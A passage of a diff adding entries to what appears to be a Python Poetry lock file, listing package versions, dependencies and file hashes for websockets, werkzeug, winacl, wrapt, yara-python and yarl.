+ {file = "websockets-11.0.2-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b985ba2b9e972cf99ddffc07df1a314b893095f62c75bc7c5354a9c4647c6503"},
+ {file = "websockets-11.0.2-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1b52def56d2a26e0e9c464f90cadb7e628e04f67b0ff3a76a4d9a18dfc35e3dd"},
+ {file = "websockets-11.0.2-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d70a438ef2a22a581d65ad7648e949d4ccd20e3c8ed7a90bbc46df4e60320891"},
+ {file = "websockets-11.0.2-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:752fbf420c71416fb1472fec1b4cb8631c1aa2be7149e0a5ba7e5771d75d2bb9"},
+ {file = "websockets-11.0.2-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:dd906b0cdc417ea7a5f13bb3c6ca3b5fd563338dc596996cb0fdd7872d691c0a"},
+ {file = "websockets-11.0.2-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e79065ff6549dd3c765e7916067e12a9c91df2affea0ac51bcd302aaf7ad207"},
+ {file = "websockets-11.0.2-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46388a050d9e40316e58a3f0838c63caacb72f94129eb621a659a6e49bad27ce"},
+ {file = "websockets-11.0.2-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c7de298371d913824f71b30f7685bb07ad13969c79679cca5b1f7f94fec012f"},
+ {file = "websockets-11.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:6d872c972c87c393e6a49c1afbdc596432df8c06d0ff7cd05aa18e885e7cfb7c"},
+ {file = "websockets-11.0.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:b444366b605d2885f0034dd889faf91b4b47668dd125591e2c64bfde611ac7e1"},
+ {file = "websockets-11.0.2-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b967a4849db6b567dec3f7dd5d97b15ce653e3497b8ce0814e470d5e074750"},
+ {file = "websockets-11.0.2-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2acdc82099999e44fa7bd8c886f03c70a22b1d53ae74252f389be30d64fd6004"},
+ {file = "websockets-11.0.2-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:518ed6782d9916c5721ebd61bb7651d244178b74399028302c8617d0620af291"},
+ {file = "websockets-11.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:58477b041099bb504e1a5ddd8aa86302ed1d5c6995bdd3db2b3084ef0135d277"},
+ {file = "websockets-11.0.2-py3-none-any.whl", hash = "sha256:5004c087d17251938a52cce21b3dbdabeecbbe432ce3f5bbbf15d8692c36eac9"},
+ {file = "websockets-11.0.2.tar.gz", hash = "sha256:b1a69701eb98ed83dd099de4a686dc892c413d974fa31602bc00aca7cb988ac9"},
+]
+
+[[package]]
+name = "werkzeug"
+version = "2.3.0"
+description = "The comprehensive WSGI web application library."
+category = "main"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "Werkzeug-2.3.0-py3-none-any.whl", hash = "sha256:340335057f72974d9281dbaf52c8090a9f9a59ba304ae814bf0656e6559c0020"},
+ {file = "Werkzeug-2.3.0.tar.gz", hash = "sha256:3b6b46926d052b8ebca97c4dc73c12e47bdd07d57ab0600c039c3155450227bc"},
+]
+
+[package.dependencies]
+MarkupSafe = ">=2.1.1"
+
+[package.extras]
+watchdog = ["watchdog (>=2.3)"]
+
+[[package]]
+name = "winacl"
+version = "0.1.7"
+description = "ACL/ACE/Security Descriptor manipulation library in pure Python"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "winacl-0.1.7-py3-none-any.whl", hash = "sha256:5d00ed1d2378823050b4eb87ff3e69d49cb3ecb8bf1e012b69afe15e3bdb2703"},
+ {file = "winacl-0.1.7.tar.gz", hash = "sha256:ca662c091471a6c629d76c5eec63d8a1bf1af7c054348f09c1242f338850b2bd"},
+]
+
+[package.dependencies]
+cryptography = ">=38.0.1"
+
+[[package]]
+name = "wrapt"
+version = "1.15.0"
+description = "Module for decorators, wrappers and monkey patching."
+category = "main"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7"
+files = [
+ {file = "wrapt-1.15.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:ca1cccf838cd28d5a0883b342474c630ac48cac5df0ee6eacc9c7290f76b11c1"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:e826aadda3cae59295b95343db8f3d965fb31059da7de01ee8d1c40a60398b29"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5fc8e02f5984a55d2c653f5fea93531e9836abbd84342c1d1e17abc4a15084c2"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:96e25c8603a155559231c19c0349245eeb4ac0096fe3c1d0be5c47e075bd4f46"},
+ {file = "wrapt-1.15.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:40737a081d7497efea35ab9304b829b857f21558acfc7b3272f908d33b0d9d4c"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:f87ec75864c37c4c6cb908d282e1969e79763e0d9becdfe9fe5473b7bb1e5f09"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:1286eb30261894e4c70d124d44b7fd07825340869945c79d05bda53a40caa079"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:493d389a2b63c88ad56cdc35d0fa5752daac56ca755805b1b0c530f785767d5e"},
+ {file = "wrapt-1.15.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:58d7a75d731e8c63614222bcb21dd992b4ab01a399f1f09dd82af17bbfc2368a"},
+ {file = "wrapt-1.15.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21f6d9a0d5b3a207cdf7acf8e58d7d13d463e639f0c7e01d82cdb671e6cb7923"},
+ {file = "wrapt-1.15.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ce42618f67741d4697684e501ef02f29e758a123aa2d669e2d964ff734ee00ee"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41d07d029dd4157ae27beab04d22b8e261eddfc6ecd64ff7000b10dc8b3a5727"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:54accd4b8bc202966bafafd16e69da9d5640ff92389d33d28555c5fd4f25ccb7"},
+ {file = "wrapt-1.15.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2fbfbca668dd15b744418265a9607baa970c347eefd0db6a518aaf0cfbd153c0"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:76e9c727a874b4856d11a32fb0b389afc61ce8aaf281ada613713ddeadd1cfec"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e20076a211cd6f9b44a6be58f7eeafa7ab5720eb796975d0c03f05b47d89eb90"},
+ {file = "wrapt-1.15.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a74d56552ddbde46c246b5b89199cb3fd182f9c346c784e1a93e4dc3f5ec9975"},
+ {file = "wrapt-1.15.0-cp310-cp310-win32.whl", hash = "sha256:26458da5653aa5b3d8dc8b24192f574a58984c749401f98fff994d41d3f08da1"},
+ {file = "wrapt-1.15.0-cp310-cp310-win_amd64.whl", hash = "sha256:75760a47c06b5974aa5e01949bf7e66d2af4d08cb8c1d6516af5e39595397f5e"},
+ {file = "wrapt-1.15.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ba1711cda2d30634a7e452fc79eabcadaffedf241ff206db2ee93dd2c89a60e7"},
+ {file = "wrapt-1.15.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:56374914b132c702aa9aa9959c550004b8847148f95e1b824772d453ac204a72"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a89ce3fd220ff144bd9d54da333ec0de0399b52c9ac3d2ce34b569cf1a5748fb"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bbe623731d03b186b3d6b0d6f51865bf598587c38d6f7b0be2e27414f7f214e"},
+ {file = "wrapt-1.15.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3abbe948c3cbde2689370a262a8d04e32ec2dd4f27103669a45c6929bcdbfe7c"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:b67b819628e3b748fd3c2192c15fb951f549d0f47c0449af0764d7647302fda3"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:7eebcdbe3677e58dd4c0e03b4f2cfa346ed4049687d839adad68cc38bb559c92"},
+ {file = "wrapt-1.15.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74934ebd71950e3db69960a7da29204f89624dde411afbfb3b4858c1409b1e98"},
+ {file = "wrapt-1.15.0-cp311-cp311-win32.whl", hash = "sha256:bd84395aab8e4d36263cd1b9308cd504f6cf713b7d6d3ce25ea55670baec5416"},
+ {file = "wrapt-1.15.0-cp311-cp311-win_amd64.whl", hash = "sha256:a487f72a25904e2b4bbc0817ce7a8de94363bd7e79890510174da9d901c38705"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:4ff0d20f2e670800d3ed2b220d40984162089a6e2c9646fdb09b85e6f9a8fc29"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:9ed6aa0726b9b60911f4aed8ec5b8dd7bf3491476015819f56473ffaef8959bd"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_i686.whl", hash = "sha256:896689fddba4f23ef7c718279e42f8834041a21342d95e56922e1c10c0cc7afb"},
+ {file = "wrapt-1.15.0-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:75669d77bb2c071333417617a235324a1618dba66f82a750362eccbe5b61d248"},
+ {file = "wrapt-1.15.0-cp35-cp35m-win32.whl", hash = "sha256:fbec11614dba0424ca72f4e8ba3c420dba07b4a7c206c8c8e4e73f2e98f4c559"},
+ {file = "wrapt-1.15.0-cp35-cp35m-win_amd64.whl", hash = "sha256:fd69666217b62fa5d7c6aa88e507493a34dec4fa20c5bd925e4bc12fce586639"},
+ {file = "wrapt-1.15.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:b0724f05c396b0a4c36a3226c31648385deb6a65d8992644c12a4963c70326ba"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbeccb1aa40ab88cd29e6c7d8585582c99548f55f9b2581dfc5ba68c59a85752"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:38adf7198f8f154502883242f9fe7333ab05a5b02de7d83aa2d88ea621f13364"},
+ {file = "wrapt-1.15.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:578383d740457fa790fdf85e6d346fda1416a40549fe8db08e5e9bd281c6a475"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:a4cbb9ff5795cd66f0066bdf5947f170f5d63a9274f99bdbca02fd973adcf2a8"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:af5bd9ccb188f6a5fdda9f1f09d9f4c86cc8a539bd48a0bfdc97723970348418"},
+ {file = "wrapt-1.15.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b56d5519e470d3f2fe4aa7585f0632b060d532d0696c5bdfb5e8319e1d0f69a2"},
+ {file = "wrapt-1.15.0-cp36-cp36m-win32.whl", hash = "sha256:77d4c1b881076c3ba173484dfa53d3582c1c8ff1f914c6461ab70c8428b796c1"},
+ {file = "wrapt-1.15.0-cp36-cp36m-win_amd64.whl", hash = "sha256:077ff0d1f9d9e4ce6476c1a924a3332452c1406e59d90a2cf24aeb29eeac9420"},
+ {file = "wrapt-1.15.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5c5aa28df055697d7c37d2099a7bc09f559d5053c3349b1ad0c39000e611d317"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3a8564f283394634a7a7054b7983e47dbf39c07712d7b177b37e03f2467a024e"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:780c82a41dc493b62fc5884fb1d3a3b81106642c5c5c78d6a0d4cbe96d62ba7e"},
+ {file = "wrapt-1.15.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e169e957c33576f47e21864cf3fc9ff47c223a4ebca8960079b8bd36cb014fd0"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b02f21c1e2074943312d03d243ac4388319f2456576b2c6023041c4d57cd7019"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:f2e69b3ed24544b0d3dbe2c5c0ba5153ce50dcebb576fdc4696d52aa22db6034"},
+ {file = "wrapt-1.15.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d787272ed958a05b2c86311d3a4135d3c2aeea4fc655705f074130aa57d71653"},
+ {file = "wrapt-1.15.0-cp37-cp37m-win32.whl", hash = "sha256:02fce1852f755f44f95af51f69d22e45080102e9d00258053b79367d07af39c0"},
+ {file = "wrapt-1.15.0-cp37-cp37m-win_amd64.whl", hash = "sha256:abd52a09d03adf9c763d706df707c343293d5d106aea53483e0ec8d9e310ad5e"},
+ {file = "wrapt-1.15.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cdb4f085756c96a3af04e6eca7f08b1345e94b53af8921b25c72f096e704e145"},
+ {file = "wrapt-1.15.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:230ae493696a371f1dbffaad3dafbb742a4d27a0afd2b1aecebe52b740167e7f"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:63424c681923b9f3bfbc5e3205aafe790904053d42ddcc08542181a30a7a51bd"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6bcbfc99f55655c3d93feb7ef3800bd5bbe963a755687cbf1f490a71fb7794b"},
+ {file = "wrapt-1.15.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c99f4309f5145b93eca6e35ac1a988f0dc0a7ccf9ccdcd78d3c0adf57224e62f"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:b130fe77361d6771ecf5a219d8e0817d61b236b7d8b37cc045172e574ed219e6"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:96177eb5645b1c6985f5c11d03fc2dbda9ad24ec0f3a46dcce91445747e15094"},
+ {file = "wrapt-1.15.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d5fe3e099cf07d0fb5a1e23d399e5d4d1ca3e6dfcbe5c8570ccff3e9208274f7"},
+ {file = "wrapt-1.15.0-cp38-cp38-win32.whl", hash = "sha256:abd8f36c99512755b8456047b7be10372fca271bf1467a1caa88db991e7c421b"},
+ {file = "wrapt-1.15.0-cp38-cp38-win_amd64.whl", hash = "sha256:b06fa97478a5f478fb05e1980980a7cdf2712015493b44d0c87606c1513ed5b1"},
+ {file = "wrapt-1.15.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2e51de54d4fb8fb50d6ee8327f9828306a959ae394d3e01a1ba8b2f937747d86"},
+ {file = "wrapt-1.15.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0970ddb69bba00670e58955f8019bec4a42d1785db3faa043c33d81de2bf843c"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76407ab327158c510f44ded207e2f76b657303e17cb7a572ffe2f5a8a48aa04d"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cd525e0e52a5ff16653a3fc9e3dd827981917d34996600bbc34c05d048ca35cc"},
+ {file = "wrapt-1.15.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d37ac69edc5614b90516807de32d08cb8e7b12260a285ee330955604ed9dd29"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:078e2a1a86544e644a68422f881c48b84fef6d18f8c7a957ffd3f2e0a74a0d4a"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:2cf56d0e237280baed46f0b5316661da892565ff58309d4d2ed7dba763d984b8"},
+ {file = "wrapt-1.15.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7dc0713bf81287a00516ef43137273b23ee414fe41a3c14be10dd95ed98a2df9"},
+ {file = "wrapt-1.15.0-cp39-cp39-win32.whl", hash = "sha256:46ed616d5fb42f98630ed70c3529541408166c22cdfd4540b88d5f21006b0eff"},
+ {file = "wrapt-1.15.0-cp39-cp39-win_amd64.whl", hash = "sha256:eef4d64c650f33347c1f9266fa5ae001440b232ad9b98f1f43dfe7a79435c0a6"},
+ {file = "wrapt-1.15.0-py3-none-any.whl", hash = "sha256:64b1df0f83706b4ef4cfb4fb0e4c2669100fd7ecacfb59e091fad300d4e04640"},
+ {file = "wrapt-1.15.0.tar.gz", hash = "sha256:d06730c6aed78cee4126234cf2d071e01b44b915e725a6cb439a879ec9754a3a"},
+]
+
+[[package]]
+name = "yara-python"
+version = "4.3.1"
+description = "Python interface for YARA"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "yara-python-4.3.1.tar.gz", hash = "sha256:7af4354ee0f1561f51fd01771a121d8d385b93bbc6138a25a38ce68aa6801c2c"},
+ {file = "yara_python-4.3.1-cp310-cp310-win32.whl", hash = "sha256:834d8fe2cdb5cf61d5e505d32c504b62891df5ce5af9f04dbd8c7575c1dbef30"},
+ {file = "yara_python-4.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:ec05d0b7cc46728119d450875382d5386305510b8cfb14bad3627060c9e6f199"},
+ {file = "yara_python-4.3.1-cp311-cp311-win32.whl", hash = "sha256:c8663f75f0c5f82e0f6053c9ddbddd97f956787bffb7f64cac1e40e0a21db89c"},
+ {file = "yara_python-4.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:51f1bdbcdbcfa29a7a2cf7e7e5d6a7d8dbd00568e4ab6103adceda5a499895a6"},
+ {file = "yara_python-4.3.1-cp37-cp37m-win32.whl", hash = "sha256:8847bb5e74d2b33cf48f372bed02805876ab2e414aa7fd50c16a7c6150316601"},
+ {file = "yara_python-4.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:fbf8281a6eb538b5c219a9c54c65a910806e7adf28a7d878f2cff551cbbd43ea"},
+ {file = "yara_python-4.3.1-cp38-cp38-win32.whl", hash = "sha256:fd70fe0ba522d4ecd73cbf45e528872844e61e2febe8f66e8a94c2674751b831"},
+ {file = "yara_python-4.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:950377dd53d17870f66406f0db9ed9f6b04ac7e61c7f6fd5429459e2a00fd874"},
+ {file = "yara_python-4.3.1-cp39-cp39-win32.whl", hash = "sha256:c032ad4ec6698a4f485b3d9721e6223028953bb61362482bdd7eabb147271e80"},
+ {file = "yara_python-4.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f0b7b2ea840638415a075a25860dbcb6466d83000a8367196188a6367b01af71"},
+]
+
+[[package]]
+name = "yarl"
+version = "1.9.2"
+description = "Yet another URL library"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8c2ad583743d16ddbdf6bb14b5cd76bf43b0d0006e918809d5d4ddf7bde8dd82"},
+ {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82aa6264b36c50acfb2424ad5ca537a2060ab6de158a5bd2a72a032cc75b9eb8"},
+ {file = "yarl-1.9.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c0c77533b5ed4bcc38e943178ccae29b9bcf48ffd1063f5821192f23a1bd27b9"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee4afac41415d52d53a9833ebae7e32b344be72835bbb589018c9e938045a560"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9bf345c3a4f5ba7f766430f97f9cc1320786f19584acc7086491f45524a551ac"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2a96c19c52ff442a808c105901d0bdfd2e28575b3d5f82e2f5fd67e20dc5f4ea"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:891c0e3ec5ec881541f6c5113d8df0315ce5440e244a716b95f2525b7b9f3608"},
+ {file = "yarl-1.9.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c3a53ba34a636a256d767c086ceb111358876e1fb6b50dfc4d3f4951d40133d5"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:566185e8ebc0898b11f8026447eacd02e46226716229cea8db37496c8cdd26e0"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:2b0738fb871812722a0ac2154be1f049c6223b9f6f22eec352996b69775b36d4"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:32f1d071b3f362c80f1a7d322bfd7b2d11e33d2adf395cc1dd4df36c9c243095"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:e9fdc7ac0d42bc3ea78818557fab03af6181e076a2944f43c38684b4b6bed8e3"},
+ {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:56ff08ab5df8429901ebdc5d15941b59f6253393cb5da07b4170beefcf1b2528"},
+ {file = "yarl-1.9.2-cp310-cp310-win32.whl", hash = "sha256:8ea48e0a2f931064469bdabca50c2f578b565fc446f302a79ba6cc0ee7f384d3"},
+ {file = "yarl-1.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:50f33040f3836e912ed16d212f6cc1efb3231a8a60526a407aeb66c1c1956dde"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:646d663eb2232d7909e6601f1a9107e66f9791f290a1b3dc7057818fe44fc2b6"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aff634b15beff8902d1f918012fc2a42e0dbae6f469fce134c8a0dc51ca423bb"},
+ {file = "yarl-1.9.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a83503934c6273806aed765035716216cc9ab4e0364f7f066227e1aaea90b8d0"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b25322201585c69abc7b0e89e72790469f7dad90d26754717f3310bfe30331c2"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22a94666751778629f1ec4280b08eb11815783c63f52092a5953faf73be24191"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ec53a0ea2a80c5cd1ab397925f94bff59222aa3cf9c6da938ce05c9ec20428d"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:159d81f22d7a43e6eabc36d7194cb53f2f15f498dbbfa8edc8a3239350f59fe7"},
+ {file = "yarl-1.9.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:832b7e711027c114d79dffb92576acd1bd2decc467dec60e1cac96912602d0e6"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:95d2ecefbcf4e744ea952d073c6922e72ee650ffc79028eb1e320e732898d7e8"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d4e2c6d555e77b37288eaf45b8f60f0737c9efa3452c6c44626a5455aeb250b9"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:783185c75c12a017cc345015ea359cc801c3b29a2966c2655cd12b233bf5a2be"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:b8cc1863402472f16c600e3e93d542b7e7542a540f95c30afd472e8e549fc3f7"},
+ {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:822b30a0f22e588b32d3120f6d41e4ed021806418b4c9f0bc3048b8c8cb3f92a"},
+ {file = "yarl-1.9.2-cp311-cp311-win32.whl", hash = "sha256:a60347f234c2212a9f0361955007fcf4033a75bf600a33c88a0a8e91af77c0e8"},
+ {file = "yarl-1.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:be6b3fdec5c62f2a67cb3f8c6dbf56bbf3f61c0f046f84645cd1ca73532ea051"},
+ {file = "yarl-1.9.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:38a3928ae37558bc1b559f67410df446d1fbfa87318b124bf5032c31e3447b74"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac9bb4c5ce3975aeac288cfcb5061ce60e0d14d92209e780c93954076c7c4367"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3da8a678ca8b96c8606bbb8bfacd99a12ad5dd288bc6f7979baddd62f71c63ef"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13414591ff516e04fcdee8dc051c13fd3db13b673c7a4cb1350e6b2ad9639ad3"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf74d08542c3a9ea97bb8f343d4fcbd4d8f91bba5ec9d5d7f792dbe727f88938"},
+ {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e7221580dc1db478464cfeef9b03b95c5852cc22894e418562997df0d074ccc"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:494053246b119b041960ddcd20fd76224149cfea8ed8777b687358727911dd33"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:52a25809fcbecfc63ac9ba0c0fb586f90837f5425edfd1ec9f3372b119585e45"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:e65610c5792870d45d7b68c677681376fcf9cc1c289f23e8e8b39c1485384185"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:1b1bba902cba32cdec51fca038fd53f8beee88b77efc373968d1ed021024cc04"},
+ {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:662e6016409828ee910f5d9602a2729a8a57d74b163c89a837de3fea050c7582"},
